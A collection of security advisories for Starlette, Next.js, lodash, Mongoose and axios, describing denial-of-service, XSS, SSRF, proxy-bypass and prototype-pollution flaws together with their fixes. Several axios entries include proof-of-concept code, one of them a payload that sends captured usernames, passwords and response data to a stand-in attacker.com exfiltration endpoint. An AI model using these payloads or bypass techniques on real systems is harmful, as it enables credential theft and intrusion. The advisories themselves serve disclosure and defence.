MultipartParser denial of service with too many fields or files
Impact
The MultipartParser using the package python-multipart accepts an unlimited number of multipart parts (form fields or files).
Processing too many parts results in high CPU usage and high memory usage, eventually leading to an <abbr title="out of memory">OOM</abbr> process kill.
This can be triggered by sending too many small form fields with no content, or too many empty files.
For this to take effect application code has to:
Have python-multipart installed and
call request.form()
or via another framework like FastAPI, using form field parameters or UploadFile parameters, which in turn calls request.form().
Patches
The vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000).
Applications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).
If application code needs to customize the new max field and file number, there are new request.form() parameters (with the default values):
max_files=1000
max_fields=1000
Workarounds
Applications that don't install python-multipart or that don't use form fields are safe.
In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.
In most cases, the best solution is to upgrade the Starlette version.
References
This was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.
The details about how multipart/form-data is structured and parsed are in the RFC 7578.
Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components
A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as CVE-2026-23864.
A specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.
Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up
It was discovered that the fix for CVE-2025-55184 in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption.
This vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as CVE-2025-67779.
A malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.
Next Vulnerable to Denial of Service with Server Components
A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.
A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.
lodash vulnerable to Code Injection via `_.template` imports key names
Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template use
Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces
Impact
App Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors.
Fix
We now reject or ignore malformed nonce values before they are embedded into HTML and apply stricter nonce sanitization so request-derived nonce data cannot break out of the intended attribute context.
Workarounds
If you cannot upgrade immediately, strip inbound Content-Security-Policy request headers from untrusted traffic.
Next.js has cross-site scripting in beforeInteractive scripts with untrusted input
Impact
Applications that use beforeInteractive scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser.
Fix
We now HTML-escape serialized beforeInteractive script content before embedding it into the page, preventing attacker-controlled content from breaking out of the inline script boundary.
Workarounds
If you cannot upgrade immediately, do not pass untrusted data into beforeInteractive scripts. If that pattern is unavoidable, sanitize or escape the content before embedding it.
Next.js vulnerable to server-side request forgery in applications using WebSocket upgrades
Impact
Self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected.
Fix
We now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests, so upgrade requests are only proxied when routing has explicitly marked them as safe external rewrites.
Workarounds
If you cannot upgrade immediately, do not expose the origin server directly to untrusted networks. If WebSocket upgrades are not required, block them at your reverse proxy or load balancer, and restrict origin egress to internal networks and metadata services where possible.
Next.js has a Denial of Service in the Image Optimization API
Impact
When self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed).
If you are using images.localPatterns, only the patterns in that array are impacted.
If you are using images.unoptimized: true, you are NOT impacted.
If you are using images.loader: 'custom', you are NOT impacted.
If you are using Vercel, you are NOT impacted.
Fix
We now apply response size limits consistently to internal image fetches, not just external ones, and fail oversized responses before they can exhaust process memory.
This can be adjusted using the images.maximumResponseBody configuration.
Workarounds
If you cannot upgrade immediately, avoid routing large local assets through /_next/image, disable image optimization for large or untrusted local files, or block image optimization access to those assets at the edge.
You can disable using the images.localPatterns: [] configuration. This will still allow fetching remote images (which is not impacted).
Next.js has a Middleware / Proxy bypass in Pages Router applications using i18n
Impact
Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks.
Fix
The matcher logic was updated to perform the same match as it would on a non-i18n data route.
Workarounds
If you cannot upgrade immediately, enforce authorization in the page's server-side data path instead of relying solely on middleware.
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
An affected Axios version.
A polluted Object.prototype in the same process or browser context.
Pollution before Axios merges or validates the request config.
A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
``js
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
`
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
<details>
<summary>Original source report</summary>
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Credential theft occurs within the same application process |
| Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated |
| Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) |
| Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |
|---|---|---|
| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |
| Fixed by 1.15.0 header sanitization? | Yes | No — different code path |
| Affects | Requests using form-data package | All requests (transformResponse is in defaults) |
| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
`javascript
Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
`
Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
`
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
`javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
`
The polluted function then executes at transformData.js:21:
`javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
`
4. The Impact
`
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
`
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
`javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
`
Verified PoC Output
`
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
`
Impact Analysis
Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
Denial of Service: Polluting with a non-function value crashes every request.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
`javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
`
Additionally, validate that transformResponse contains only functions before execution:
`javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
``
Resources
CWE-1321: Prototype Pollution
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Snyk: Prototype Pollution
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
</details>
axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
``javascript
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
`
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
`javascript
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
`
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
`
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
`
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
`javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/\.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
``
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions
Summary
axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values:
1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.
2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.
Affected Properties
| Polluted slot | Effect |
|---|---|
| Object.prototype.common | injects headers on every method |
| Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method |
| Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 |
| Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 |
Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.
Proof of Concept
``javascript
const axios = require('axios');
// Finding A - header injection
Object.prototype.common = { 'X-Poisoned': 'yes' };
await axios.get('http://api.example.com/users');
// Wire request carries X-Poisoned: yes.
// Finding B - crash DoS
Object.prototype.get = { something: 'anything' };
await axios.get('http://api.example.com/users');
// TypeError: Getter must be a function: #<Object>
// at Function.defineProperty (<anonymous>)
// at mergeConfig (lib/core/mergeConfig.js:26:10)
`
Impact
Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body.
CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body.
Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD.
Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.
Attack Flow
`mermaid
flowchart TD
ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash <= 4.17.10 _.merge / CVE-2018-16487)<br/>axios <= 1.15.2"]
ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"]
ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]
CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]
PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"]
PA1 --> SA1["DoS<br/>304 Not Modified empty"]
PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"]
PA2 --> SA2["DoS<br/>connection hang"]
PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"]
PA3 --> SA3["DoS<br/>400 Bad Request"]
CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]
%% Styles
style ROOT fill:#f87171,stroke:#991b1b,color:#fff
style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff
style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff
style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b
style PA1 fill:#fbbf24,stroke:#92400e,color:#000
style PA2 fill:#fbbf24,stroke:#92400e,color:#000
style PA3 fill:#fbbf24,stroke:#92400e,color:#000
style SA1 fill:#ef4444,stroke:#991b1b,color:#fff
style SA2 fill:#ef4444,stroke:#991b1b,color:#fff
style SA3 fill:#ef4444,stroke:#991b1b,color:#fff
style SB1 fill:#ef4444,stroke:#991b1b,color:#fff
`
Root Cause
Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).
Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.
Suggested Fix
Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.
Resources
CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10`
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
Mongoose's Improper Sanitization of $nor in sanitizeFilter May Allow NoSQL Injection
Impact
This vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator.
When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a traili
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
``javascript
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
`
Designed behavior:
true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
`javascript
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
`
Verified PoC Output
`
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
`
Impact Analysis
XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations:
Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
`javascript
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
``
Resources
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
